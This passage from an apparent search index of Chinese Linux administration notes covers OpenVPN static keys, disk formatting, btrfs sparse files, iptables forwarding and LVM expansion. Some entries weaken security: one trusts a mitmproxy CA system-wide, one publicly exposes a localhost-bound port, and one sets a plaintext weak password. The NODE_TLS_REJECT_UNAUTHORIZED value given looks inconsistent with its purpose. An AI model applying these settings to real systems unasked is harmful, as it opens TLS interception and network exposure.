\\u5c31\\u80fd\\u770b\\u5230\\u6bcf\\u4e2aCPU\\u5360\\u7528\\u60c5\\u51b5</p> <p>\\u4f46\\u5f53CPU\\u592a\\u591a\\u7684\\u65f6\\u5019\\u8fd8\\u662f\\u9700\\u8981\\u6267\\u884c\\u547d\\u4ee4\\u7684\\uff1a</p> <pre><code># \\u67e5\\u770b\\u7269\\u7406CPU\\u4e2a\\u6570\\ncat /proc/cpuinfo| grep \\\"physical id\\\"| sort| uniq| wc -l\\n\\n# \\u67e5\\u770b\\u6bcf\\u4e2a\\u7269\\u7406CPU\\u4e2dcore\\u7684\\u4e2a\\u6570(\\u5373\\u6838\\u6570)\\ncat /proc/cpuinfo| grep \\\"cpu cores\\\"| uniq\\n\\n# \\u67e5\\u770b\\u903b\\u8f91CPU\\u7684\\u4e2a\\u6570\\ncat /proc/cpuinfo| grep \\\"processor\\\"| wc -l\\n</code></pre>\"},{\"location\":\"Linux-setup/#_9\",\"title\":\"\\u975e\\u4ea4\\u4e92\\u5f0f\\u6dfb\\u52a0\\u7528\\u6237\",\"text\":\"<pre><code>useradd username -m\\necho username:badpassword|chpasswd\\n</code></pre> <p>\\u6dfb\\u52a0\\u4e00\\u4e2a\\u7528\\u6237\\u540d\\u4e3ausername\\u7684\\u7528\\u6237\\u5e76\\u521b\\u5efahome\\u76ee\\u5f55\\uff0c\\u5e76\\u8bbe\\u7f6e\\u5bc6\\u7801\\u4e3abadpassword</p>\"},{\"location\":\"Linux-setup/#openvpn\",\"title\":\"\\u7b80\\u5355OpenVPN\\u914d\\u7f6e\",\"text\":\"<p>\\u4e00\\u4e2a\\u6700\\u6700\\u7b80\\u5355\\u7684\\u573a\\u666f\\uff1a\\u53ea\\u6709\\u4e00\\u4e2a\\u670d\\u52a1\\u5668 \\u4e00\\u4e2a\\u5ba2\\u6237\\u7aef\\uff0c\\u5728\\u5bb9\\u5668\\u4e2d\\u7528\\u6765\\u7ed9\\u7528\\u6237\\u76f4\\u63a5\\u8bbf\\u95ee\\u7684\\u4e00\\u4e2a\\u5185\\u7f51IP</p> <p>\\u53c2\\u8003\\uff1a https://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html</p>\"},{\"location\":\"Linux-setup/#openvpn_1\",\"title\":\"\\u5b89\\u88c5openvpn:\",\"text\":\"<p>Linux:</p> <pre><code>apt-get install openvpn\\n</code></pre> <p>Windows:</p> <p>openvpn.exe</p>\"},{\"location\":\"Linux-setup/#_10\",\"title\":\"\\u751f\\u6210\\u5bc6\\u94a5\",\"text\":\"<pre><code>openvpn --genkey --secret static.key\\n</code></pre> <p>\\u7528\\u53e6\\u5916\\u5efa\\u7acb\\u7684\\u5b89\\u5168\\u901a\\u9053(SSH)\\u5c06static.key\\u53d1\\u7ed9\\u5ba2\\u6237\\u7aef</p>\"},{\"location\":\"Linux-setup/#_11\",\"title\":\"\\u670d\\u52a1\\u7aef\\u914d\\u7f6e\",\"text\":\"<pre><code>ifconfig 10.8.0.1 10.8.0.2\\nsecret /static.key\\nkeepalive 10 60\\npersist-key\\npersist-tun\\nproto udp\\nport 1194\\ndev tun0\\nstatus /tmp/openvpn-status.log\\n\\nuser nobody\\ngroup nogroup\\n</code></pre> <p>\\u5728 Ubuntu \\u4e2d\\uff0c\\u5982\\u679c\\u8981\\u914d\\u7f6e\\u6210\\u7cfb\\u7edf\\u670d\\u52a1\\u7684\\u5f62\\u5f0f\\uff0c\\u5c06\\u5176\\u4fdd\\u5b58\\u5230/etc/openvpn/myvpn.conf</p> <p>\\u7136\\u540e\\u8fd9\\u6837\\u542f\\u52a8\\u5b83\\uff1a</p> <pre><code>service openvpn@myvpn start\\n</code></pre> <p>\\u8fd9\\u6837\\u8bbe\\u7f6e\\u5f00\\u673a\\u81ea\\u542f</p> <pre><code>systemctl enable openvpn@myvpn.service\\n</code></pre>\"},{\"location\":\"Linux-setup/#_12\",\"title\":\"\\u5ba2\\u6237\\u7aef\\u914d\\u7f6e\",\"text\":\"<pre><code>remote \\u8fd9\\u91cc\\u662f\\u4f60\\u7684\\u670d\\u52a1\\u5668IP \\u8fd9\\u91cc\\u662f\\u4f60\\u7684\\u670d\\u52a1\\u5668\\u7aef\\u53e3 udp\\ndev tun\\nifconfig 10.8.0.2 10.8.0.1\\nsecret static.key\\n</code></pre>\"},{\"location\":\"Linux-setup/#docker\",\"title\":\"\\u5728Docker\\u4e2d\\u4f7f\\u7528\\u670d\\u52a1\\u7aef\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://raw.githubusercontent.com/kylemanna/docker-openvpn/master/bin/ovpn_run</p> <p>\\u8fd0\\u884c\\u5bb9\\u5668\\u7684\\u65f6\\u5019\\u4e00\\u5b9a\\u8981\\u7ed9\\u53c2\\u6570<code>--cap-add=NET_ADMIN</code></p> <p>\\u53e6\\u5916\\u8fd8\\u9700\\u8981\\u5728\\u5bb9\\u5668\\u4e2d\\u6267\\u884c\\uff1a</p> <pre><code>mkdir -p /dev/net\\nif [ ! -c /dev/net/tun ]; then\\nmknod /dev/net/tun c 10 200\\nfi\\n</code></pre>\"},{\"location\":\"Linux-setup/#_13\",\"title\":\"\\u65f6\\u533a\\u65f6\\u95f4\\u8bbe\\u7f6e\",\"text\":\"<p>\\u53c2\\u8003\\uff1a http://liumissyou.blog.51cto.com/4828343/1302050</p> <p>\\u8bbe\\u7f6e\\u4e3a\\u4e0a\\u6d77\\u65f6\\u533a UTC+8</p> <pre><code>apt-get install tzdata\\ncp /etc/localtime /etc/localtime.bak\\nln -svf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\\necho \\\"TZ='Asia/Shanghai'\\\"&gt;&gt;~/.bashrc\\nntpdate cn.pool.ntp.org\\n</code></pre> <p>\\u4fee\\u6539\\u65f6\\u95f4\\u53ef\\u4ee5\\u7528\\uff1a</p> <pre><code>date -s \\\"2017-06-18 16:40:00\\\"\\n</code></pre>\"},{\"location\":\"Linux-setup/#ext4\",\"title\":\"\\u5feb\\u901f\\u5730\\u683c\\u5f0f\\u5316\\u5927\\u5206\\u533aext4\",\"text\":\"<p>Linux\\u7cfb\\u7edf\\u5efa\\u8bae\\u4f7f\\u7528ext4\\u5206\\u533a\\u683c\\u5f0f\\uff0c\\u4f46\\u76f4\\u63a5mkfs.ext4 /dev/sda1\\u5c31\\u6709\\u5f88\\u5927\\u7684\\u5751\\uff1a\\u4f1a\\u9ed8\\u8ba4lazyinit\\u5728\\u5f88\\u957f\\u4e00\\u6bb5\\u65f6\\u95f4\\u5185\\u5360\\u7528IO</p> <p>\\u53c2\\u8003\\uff1a http://fibrevillage.com/storage/474-ext4-lazy-init</p> <p>\\u9002\\u7528\\u4e8e\\u5b58\\u50a8\\u5c11\\u91cf\\u5927\\u6587\\u4ef6\\u7684\\u683c\\u5f0f\\u5316\\u5927\\u786c\\u76d8\\u7684\\u65b9\\u6cd5\\u5982\\u4e0b\\uff0c\\u8fd9\\u6837\\u4e0d\\u4f1a\\u8df3\\u8fc7\\u521d\\u59cb\\u5316\\u78c1\\u76d8\\u7684\\u8fc7\\u7a0b\\u800c\\u4e14\\u521d\\u59cb\\u5316\\u8fc7\\u7a0b\\u5f88\\u5feb\\uff1a</p> <pre><code>mkfs.ext4 /dev/sdXX -E lazy_itable_init=0,lazy_journal_init=0 -O sparse_super,large_file -m 0 -T largefile4\\n</code></pre> <p>\\u5bf9\\u5e94\\u7684man\\u6587\\u6863</p>\"},{\"location\":\"Linux-setup/#ssd\",\"title\":\"\\u4f18\\u5316\\u672c\\u5730ssd\\u6027\\u80fd\",\"text\":\"<p>\\u53c2\\u8003 https://cloud.google.com/compute/docs/disks/optimizing-pd-performance https://cloud.google.com/compute/docs/disks/optimizing-local-ssd-performance</p> <pre><code>mkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdX\\nmount -o discard,defaults,nobarrier /dev/sdX /mnt\\necho none &gt; /sys/block/sdX/queue/scheduler\\n</code></pre>\"},{\"location\":\"Linux-setup/#readahead\",\"title\":\"\\u8c03\\u6574 readahead \\u503c\",\"text\":\"<p>\\u5bf9\\u4e8e\\u968f\\u673a\\u8bfb\\u5199\\u7684\\u5e94\\u7528\\u5982\\u6570\\u636e\\u5e93\\uff0c\\u5efa\\u8bae\\u4f7f\\u7528\\u66f4\\u5c0f\\u7684readahead\\u503c</p> <p>\\u8f83\\u9ad8\\u7684 readahead \\u503c\\u53ef\\u589e\\u52a0\\u541e\\u5410\\u91cf\\uff0c\\u4f46\\u662f\\u4f1a\\u5360\\u7528\\u66f4\\u591a\\u5185\\u5b58\\u548c IOPS\\u3002\\u8f83\\u4f4e\\u7684 readahead \\u503c\\u53ef\\u589e\\u52a0 IOPS\\uff0c\\u4f46\\u662f\\u4f1a\\u727a\\u7272\\u541e\\u5410\\u91cf\\u3002 readahead \\u503c\\u4e3a  / 512 \\u5b57\\u8282\\u3002 <p>\\u4f8b\\u5982\\u9884\\u8bfb\\u8bbe\\u7f6e\\u4e3a32KB\\u7684\\u8bdd\\uff0c\\u5c31\\u5e94\\u8be5\\u8bbe\\u7f6e\\u4e3a<code>32*1024/512=64</code></p> <pre><code>blockdev --setra 64 /dev/sdX\\n</code></pre>\"},{\"location\":\"Linux-setup/#ca-mitmproxy\",\"title\":\"\\u6dfb\\u52a0\\u53d7\\u4fe1\\u4efb\\u7684CA\\u8bc1\\u4e66 mitmproxy\",\"text\":\"<p>@TAG mitm</p> <pre><code>cat ~/.mitmproxy/mitmproxy-ca-cert.pem &gt;&gt; /etc/ssl/certs/ca-certificates.crt\\n</code></pre> <p>\\u5bf9\\u4e8enodejs\\u8fd9\\u4e2a\\u53ef\\u80fd\\u4e5f\\u6ca1\\u7528\\uff0c\\u76f4\\u63a5<code>export NODE_TLS_REJECT_UNAUTHORIZED=1</code></p>\"},{\"location\":\"Linux-setup/#inodebtrfs\",\"title\":\"\\u660e\\u660e\\u8fd8\\u6709\\u5927\\u91cf\\u7a7a\\u95f4\\u5374\\u8bf4\\u6ca1\\u6709\\uff1finode\\u6ee1\\u4e86\\uff01\\u6302\\u8f7d\\u5355\\u4e2a\\u6587\\u4ef6\\u4e3abtrfs\\u5206\\u533a\",\"text\":\"\"},{\"location\":\"Linux-setup/#_14\",\"title\":\"\\u95ee\\u9898\\u73b0\\u8c61\",\"text\":\"<p><code>df -h</code>\\u663e\\u793a\\u8fd8\\u6709\\u5f88\\u591a\\u7a7a\\u95f4\\uff0c\\u4f46<code>echo test&gt;test.txt</code>\\u4f1a\\u663e\\u793a<code>No space left on device</code></p> <p>\\u67e5\\u5230\\u8fd9\\u4e2a\\uff1a https://wiki.gentoo.org/wiki/Knowledge_Base:No_space_left_on_device_while_there_is_plenty_of_space_available</p> <p>\\u4f7f\\u7528<code>df -i</code>\\u67e5\\u770binodes\\u5360\\u7528\\u60c5\\u51b5\\uff0c\\u53d1\\u73b0\\u786e\\u5b9e100%\\u4e86</p>\"},{\"location\":\"Linux-setup/#_15\",\"title\":\"\\u89e3\\u51b3\\u65b9\\u6848\",\"text\":\"<p>inodes\\u4e0a\\u9650\\u5728mkfs\\u65f6\\u5c31\\u5b9a\\u4e0b\\u6765\\u4e86\\uff0c\\u4e0d\\u80fd\\u6539\\u52a8\\uff0c\\u6240\\u4ee5\\u6ca1\\u6551\\u4e86\\u3002\\u3002\\u3002</p> <p>\\u771f\\u6ca1\\u6551\\u4e86\\u561b\\uff1f \\u5f53\\u7136\\u4e0d\\u662f\\uff0c\\u867d\\u7136\\u4e0d\\u80fd\\u5199\\u5165\\u5927\\u91cf\\u5c0f\\u6587\\u4ef6\\uff0c\\u4f46\\u8fd8\\u662f\\u53ef\\u4ee5\\u5199\\u4e00\\u4e2a\\u5927\\u6587\\u4ef6\\u7684\\u561b\\uff0c\\u5c31\\u60f3\\u5230\\u6302\\u8f7d\\u5355\\u4e2a\\u6587\\u4ef6\\u4e3abtrfs\\u5206\\u533a</p>\"},{\"location\":\"Linux-setup/#1-inodes\",\"title\":\"1. \\u5220\\u6587\\u4ef6 \\u817e\\u51fa\\u90e8\\u5206inodes\",\"text\":\"<p>\\u5220\\u6389\\u4e00\\u4e9b\\u4e0d\\u7528\\u7684\\u5c0f\\u6587\\u4ef6\\uff0c\\u4e5f\\u4e0d\\u7528\\u5220\\u592a\\u591a</p>\"},{\"location\":\"Linux-setup/#2-1tbsparse-file\",\"title\":\"2. \\u521b\\u5efa\\u4e00\\u4e2a1TB\\u7684sparse file\",\"text\":\"<p>\\u53c2\\u8003: https://prefetch.net/blog/2009/07/05/creating-sparse-files-on-linux-hosts-with-dd/</p> <p>\\u4f7f\\u7528dd\\u547d\\u4ee4\\uff0c\\u4e0d\\u5c06\\u5b9e\\u9645\\u5185\\u5bb9\\u5199\\u5165\\u786c\\u76d8\\uff0c\\u80fd\\u5f88\\u5feb\\u6267\\u884c\\u5b8c\\u6210\\uff1a</p> <pre><code>NAME=\\\"filesystem\\\"\\ndd if=/dev/zero of=${NAME}.img bs=1 count=0 seek=1T\\n</code></pre> <p>\\u6267\\u884c\\u540els -alh\\u80fd\\u770b\\u5230\\u6587\\u4ef6\\u5927\\u5c0f\\u4e3a1T\\uff0c\\u4f7f\\u7528<code>du filesystem.img</code>\\u67e5\\u770b\\u771f\\u5b9e\\u7a7a\\u95f4</p>\"},{\"location\":\"Linux-setup/#3\",\"title\":\"3. \\u521b\\u5efa\\u78c1\\u76d8\\u5206\\u533a\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://www.jamescoyle.net/how-to/2096-use-a-file-as-a-linux-block-device</p> <p>btrfs\\u53c2\\u8003\\uff1a https://btrfs.wiki.kernel.org/index.php/Getting_started</p> <pre><code>mkfs.btrfs ${NAME}.img\\n</code></pre>\"},{\"location\":\"Linux-setup/#4\",\"title\":\"4. \\u6302\\u8f7d\\u5206\\u533a\",\"text\":\"<pre><code>mount ${NAME}.img /mnt\\n</code></pre>\"},{\"location\":\"Linux-setup/#5\",\"title\":\"5. \\u7136\\u540e\\u5c31\\u53ef\\u4ee5\\u642c\\u8fd0\\u6570\\u636e\\u8fc7\\u53bb\\u4e86\",\"text\":\"<p>\\u5c31\\u7528mv\\u50cf\\u5f80\\u5e38\\u4e00\\u6837\\u642c\\u54af</p>\"},{\"location\":\"Linux-setup/#_16\",\"title\":\"\\u4e00\\u4e9b\\u67e5\\u770b\\u7a7a\\u95f4\\u7684\\u547d\\u4ee4\",\"text\":\"<pre><code># \\u67e5\\u770b\\u78c1\\u76d8\\u6587\\u4ef6\\u5360\\u7528\\u7a7a\\u95f4\\ndu -h filesystem.img\\n# \\u67e5\\u770bbtrfs\\u5143\\u6570\\u636e\\u5360\\u7528\\u7a7a\\u95f4\\nbtrfs filesystem df /mnt\\n# \\u4e5f\\u662f\\u67e5\\u770b\\u7a7a\\u95f4\\nbtrfs filesystem usage /mnt\\n</code></pre>\"},{\"location\":\"Linux-setup/#6\",\"title\":\"6. \\u5378\\u8f7d\\u8bbe\\u5907\",\"text\":\"<pre><code>sudo umount /mnt\\nsudo losetup -d /dev/loop0\\n</code></pre>\"},{\"location\":\"Linux-setup/#btrfs\",\"title\":\"\\u6269\\u5bb9\\u4e0a\\u8ff0\\u5355\\u6587\\u4ef6btrfs\\u78c1\\u76d8\",\"text\":\"<p>@TAG \\u5b89\\u5168\\u6700\\u4f73\\u5b9e\\u8df5</p> <p>\\u968f\\u7740\\u4e0d\\u505c\\u5730\\u5199\\u5165\\u6570\\u636e\\uff0c\\u4e0a\\u9762\\u521b\\u5efa\\u76841TB\\u5206\\u533a\\u5c31\\u8981\\u88ab\\u5199\\u6ee1\\u4e86\\uff01\\u4f46\\u6587\\u4ef6\\u6240\\u5728\\u7269\\u7406\\u78c1\\u76d8\\u8fd8\\u6709\\u7a7a\\u95f4\\uff0c\\u6211\\u4eec\\u53ef\\u4ee5\\u8fd9\\u6837\\u7ed9btrfs\\u78c1\\u76d8\\u6269\\u5bb9\\uff1a</p> <p>\\u5b9e\\u9645\\u6587\\u4ef6\\u7528truncate\\u589e\\u52a0\\u4e00\\u4e2ahole\\uff1blosetup\\u66f4\\u65b0loop0\\u7684\\u5927\\u5c0f\\uff1b\\u4f7f\\u7528btrfs\\u547d\\u4ee4\\u7ed9\\u5206\\u533a\\u6269\\u5bb9</p> <p>truncate\\u662f\\u4e00\\u4e2a\\u5371\\u9669\\u7684\\u547d\\u4ee4\\uff0c\\u4e3a\\u4e86\\u907f\\u514d\\u624b\\u6296\\u628a\\u7a7a\\u95f4\\u5199\\u5c0f\\u4e86\\u4e22\\u5931\\u6570\\u636e\\uff0c\\u8fd9\\u91cc\\u7528<code>--reference</code>\\u53c2\\u6570\\u6307\\u5b9a\\u4e00\\u4e2a\\u76ee\\u6807\\u5927\\u5c0f\\u7684\\u6587\\u4ef6\\uff0c\\u4f8b\\u5982\\u6211\\u4eec\\u60f3\\u6269\\u5bb9\\u52301.5T=1536GB</p> <pre><code>dd if=/dev/zero of=temp bs=1 count=0 seek=1536G\\nls -alh # \\u786e\\u8ba4\\u6587\\u4ef6\\u5927\\u5c0f\\ntruncate -r temp filesystem.img\\n\\n# \\u5047\\u8bbe\\u76ee\\u524d\\u4f7f\\u7528\\u7684\\u662f/dev/loop0\\n# \\u4f60\\u53ef\\u4ee5\\u8fd9\\u6837\\u786e\\u8ba4loop0\\u786e\\u5b9e\\u662ffilesystem.img\\u6302\\u8f7d\\u7684\\uff1a losetup --list /dev/loop0\\nlosetup -c /dev/loop0\\n\\n# \\u786e\\u4fdd\\u76ee\\u524dbtrfs\\u5206\\u533a\\u662f\\u6302\\u8f7d\\u7740\\u7684\\uff0cbtrfs\\u5fc5\\u987b\\u5148mount\\u624d\\u80fdresize\\n# mount filesystem.img /mnt\\nbtrfs filesystem resize +500G /mnt\\n</code></pre> <p>\\u53c2\\u8003\\uff1a</p> <ul> <li>https://linux.die.net/man/1/truncate</li> <li>https://askubuntu.com/questions/260620/resize-dev-loop0-and-increase-space</li> <li>https://btrfs.wiki.kernel.org/index.php/UseCases#How_do_I_resize_a_partition.3F_.28shrink.2Fgrow.29</li> </ul>\"},{\"location\":\"Linux-setup/#_17\",\"title\":\"\\u5b89\\u5168\\u5730\\u62d4\\u51fa\\u79fb\\u52a8\\u786c\\u76d8\",\"text\":\"<p>\\u9996\\u5148\\u5f53\\u7136\\u662f<code>sudo umount /mnt</code>\\u5378\\u8f7d\\u6302\\u8f7d\\u70b9\\u54af\\uff0c\\u5982\\u4f55\\u66f4\\u5b89\\u5168\\u4e00\\u70b9\\u5462\\uff1f</p> <pre><code>udisksctl power-off -b /dev/sdb\\n</code></pre> <p>From: https://unix.stackexchange.com/questions/354138/safest-way-to-remove-usb-drive-on-linux</p>\"},{\"location\":\"Linux-setup/#iptables-127001\",\"title\":\"iptables \\u8ba9\\u76d1\\u542c\\u5728127.0.0.1\\u4e0a\\u7684\\u7aef\\u53e3\\u53ef\\u4ee5\\u516c\\u7f51\\u8bbf\\u95ee\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://unix.stackexchange.com/questions/111433/iptables-redirect-outside-requests-to-127-0-0-1</p> <p>\\u4f8b\\u5982\\u6709\\u76d1\\u542c\\u5728127.0.0.1:1234\\u7684\\u5e94\\u7528\\uff0c\\u73b0\\u5728\\u60f3\\u901a\\u8fc7ip:5678\\u6765\\u8bbf\\u95ee</p> <pre><code>iptables -t nat -I PREROUTING -p tcp --dport 5678 -j DNAT --to-destination 127.0.0.1:1234\\nsysctl -w net.ipv4.conf.eth0.route_localnet=1\\n</code></pre>\"},{\"location\":\"Linux-setup/#vmware-lvm\",\"title\":\"VMWare\\u6269\\u5bb9\\u78c1\\u76d8 LVM\\u5728\\u7ebf\\u6269\\u5bb9\",\"text\":\"<p>@TAG \\u865a\\u62df\\u673a</p> <p>\\u53c2\\u8003\\uff1a  - https://ma.ttias.be/increase-a-vmware-disk-size-vmdk-formatted-as-linux-lvm-without-rebooting/ - https://www.cyberciti.biz/faq/howto-add-disk-to-lvm-volume-on-linux-to-increase-size-of-pool/ - https://ubuntuforums.org/showthread.php?t=2277232</p> <p>\\u4fee\\u590d<code>GPT PMBR size mismatch</code>\\u7528<code>parted -l</code>\\u8f93\\u5165Fix\\u5373\\u53ef\\uff0c\\u65e0\\u9700live cd</p> <pre><code>root@docker:/d# parted -l\\nWarning: Not all of the space available to /dev/sda appears to be used, you can\\nfix the GPT to use all of the space (an extra 314572800 blocks) or continue with\\nthe current setting?\\nFix/Ignore? Fix\\nModel: VMware Virtual disk (scsi)\\nDisk /dev/sda: 215GB\\nSector size (logical/physical): 512B/512B\\nPartition Table: gpt\\nDisk Flags:\\n\\nNumber  Start   End     Size    File system  Name  Flags\\n1      1049kB  2097kB  1049kB                     bios_grub\\n2      2097kB  1076MB  1074MB  ext4\\n3      1076MB  53.7GB  52.6GB\\n\\n\\nModel: Linux device-mapper (linear) (dm)\\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 52.6GB\\nSector size (logical/physical): 512B/512B\\nPartition Table: loop\\nDisk Flags:\\n\\nNumber  Start  End     Size    File system  Flags\\n1      0.00B  52.6GB  52.6GB  ext4\\n\\n\\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\\nModel: NECVMWar VMware SATA CD00 (scsi)\\nDisk /dev/sr0: 875MB\\nSector size (logical/physical): 2048B/2048B\\nPartition Table: mac\\nDisk Flags:\\n\\nNumber  Start  End    Size    File system  Name   Flags\\n1      2048B  6143B  4096B                Apple\\n2      659MB  662MB  2523kB               EFI\\n\\n\\nroot@docker:/d# fdisk -l\\nDisk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\n\\n\\nDisk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\nDisklabel type: gpt\\nDisk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052\\n\\nDevice       Start       End   Sectors Size Type\\n/dev/sda1     2048      4095      2048   1M BIOS boot\\n/dev/sda2     4096   2101247   2097152   1G Linux filesystem\\n/dev/sda3  2101248 104855551 102754304  49G Linux filesystem\\n\\n\\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\nroot@docker:/d# fdisk /dev/sda\\n\\nWelcome to fdisk (util-linux 2.31.1).\\nChanges will remain in memory only, until you decide to write them.\\nBe careful before using the write command.\\n\\n\\nCommand (m for help): n\\nPartition number (4-128, default 4):\\nFirst sector (104855552-419430366, default 104855552):\\nLast sector, +sectors or +size{K,M,G,T,P} (104855552-419430366, default 419430366):\\n\\nCreated a new partition 4 of type 'Linux filesystem' and of size 150 GiB.\\n\\nCommand (m for help): t\\nPartition number (1-4, default 4): 4\\nPartition type (type L to list all types): 8e\\n\\nType of partition 4 is unchanged: Linux filesystem.\\n\\nCommand (m for help): w\\nThe partition table has been altered.\\nSyncing disks.\\n\\nroot@docker:/d# partprobe -s\\n/dev/sda: gpt partitions 1 2 3 4\\n/dev/mapper/ubuntu--vg-ubuntu--lv: loop partitions 1\\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\\nWarning: Unable to open /dev/sr0 read-write (Read-only file system).  /dev/sr0 has been opened read-only.\\n/dev/sr0: mac partitions 1 2\\nroot@docker:/d# fdisk -l\\nDisk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\n\\n\\nDisk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\nDisklabel type: gpt\\nDisk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052\\n\\nDevice         Start       End   Sectors  Size Type\\n/dev/sda1       2048      4095      2048    1M BIOS boot\\n/dev/sda2       4096   2101247   2097152    1G Linux filesystem\\n/dev/sda3    2101248 104855551 102754304   49G Linux filesystem\\n/dev/sda4  104855552 419430366 314574815  150G Linux filesystem\\n\\n\\nDisk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\nroot@docker:/d# pvcreate /dev/sda\\nsda   sda1  sda2  sda3  sda4\\nroot@docker:/d# pvcreate /dev/sda4\\nPhysical volume \\\"/dev/sda4\\\" successfully created.\\nroot@docker:/d# vgdisplay\\n--- Volume group ---\\nVG Name               ubuntu-vg\\nSystem ID\\nFormat                lvm2\\nMetadata Areas        1\\nMetadata Sequence No  3\\nVG Access             read/write\\nVG Status             resizable\\nMAX LV                0\\nCur LV                1\\nOpen LV               1\\nMax PV                0\\nCur PV                1\\nAct PV                1\\nVG Size               &lt;49.00 GiB\\nPE Size               4.00 MiB\\nTotal PE              12543\\nAlloc PE / Size       12543 / &lt;49.00 GiB\\nFree  PE / Size       0 / 0\\nVG UUID               FJI08W-C0Db-dXmu-WPyq-Zlr9-Lejq-xadlCk\\n\\nroot@docker:/d# vgextend ubuntu-vg /dev/sda4\\nVolume group \\\"ubuntu-vg\\\" successfully extended\\nroot@docker:/d# pvscan\\nPV /dev/sda3   VG ubuntu-vg       lvm2 [&lt;49.00 GiB / 0    free]\\nPV /dev/sda4   VG ubuntu-vg       lvm2 [&lt;150.00 GiB / &lt;150.00 GiB free]\\nTotal: 2 [198.99 GiB] / in use: 2 [198.99 GiB] / in no VG: 0 [0   ]\\nroot@docker:/d# lvextend /dev/ubuntu-vg/ubuntu-lv /dev/sda4\\nSize of logical volume ubuntu-vg/ubuntu-lv changed from &lt;49.00 GiB (12543 extents) to 198.99 GiB (50942 extents).\\nLogical volume ubuntu-vg/ubuntu-lv successfully resized.\\nroot@docker:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv\\nresize2fs 1.44.1 (24-Mar-2018)\\nFilesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required\\nold_desc_blocks = 7, new_desc_blocks = 25\\nThe filesystem on /dev/ubuntu-vg/ubuntu-lv is now 52164608 (4k) blocks long.\\n</code></pre> <p>resize2fs\\u53ef\\u4ee5\\u52a0\\u4e0a<code>-p</code>\\u9009\\u9879\\u663e\\u793a\\u8fdb\\u5ea6</p>\"},{\"location\":\"Linux-setup/#vmware\",\"title\":\"VMWare\\u65b0\\u6dfb\\u52a0\\u4e00\\u5757\\u786c\\u76d8\\u6269\\u5bb9\\u6839\\u76ee\\u5f55\",\"text\":\"<p>@TAG \\u865a\\u62df\\u673a</p> <p>\\u53c2\\u8003\\u8fd9\\u4e24\\u7bc7\\uff1a</p> <p>https://www.cyberciti.biz/tips/vmware-add-a-new-hard-disk-without-rebooting-guest.html</p> <p>https://www.unixmen.com/add-a-new-disk-to-lvm/</p> <pre><code>root@docker3:/d# for i in /sys/class/scsi_host/*; do echo \\\"- - -\\\" &gt; ${i}/scan; done\\nroot@docker3:/d# fdisk -l\\nDisk /dev/sdb: 1 TiB, 1099511627776 bytes, 2147483648 sectors\\nUnits: sectors of 1 * 512 = 512 bytes\\nSector size (logical/physical): 512 bytes / 512 bytes\\nI/O size (minimum/optimal): 512 bytes / 512 bytes\\n\\nroot@docker3:/d# fdisk /dev/sdb\\n\\nWelcome to fdisk (util-linux 2.31.1).\\nChanges will remain in memory only, until you decide to write them.\\nBe careful before using the write command.\\n\\nDevice does not contain a recognized partition table.\\nCreated a new DOS disklabel with disk identifier 0x3289a390.\\n\\nCommand (m for help): n\\nPartition type\\n   p   primary (0 primary, 0 extended, 4 free)\\n   e   extended (container for logical partitions)\\nSelect (default p):\\n\\nUsing default response p.\\nPartition number (1-4, default 1):\\nFirst sector (2048-2147483647, default 2048):\\nLast sector, +sectors or +size{K,M,G,T,P} (2048-2147483647, default 2147483647):\\n\\nCreated a new partition 1 of type 'Linux' and of size 1024 GiB.\\n\\nCommand (m for help): t\\nSelected partition 1\\nHex code (type L to list all codes): 8e\\nChanged type of partition 'Linux' to 'Linux LVM'.\\n\\nCommand (m for help): w\\nThe partition table has been altered.\\nCalling ioctl() to re-read partition table.\\nSyncing disks.\\n\\nroot@docker3:/d# pvcreate /dev/sdb1\\n  Physical volume \\\"/dev/sdb1\\\" successfully created.\\nroot@docker3:/d# vgextend ubuntu-vg /dev/sdb1\\n  Volume group \\\"ubuntu-vg\\\" successfully extended\\nroot@docker3:/d# pvscan\\n  PV /dev/sda3   VG ubuntu-vg       lvm2 [&lt;199.00 GiB / 0    free]\\n  PV /dev/sdb1   VG ubuntu-vg       lvm2 [&lt;1024.00 GiB / &lt;1024.00 GiB free]\\n  Total: 2 [1.19 TiB] / in use: 2 [1.19 TiB] / in no VG: 0 [0   ]\\nroot@docker3:/d# lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv\\n  Size of logical volume ubuntu-vg/ubuntu-lv changed from &lt;199.00 GiB (50943 extents) to 1.19 TiB (313086 extents).\\n  Logical volume 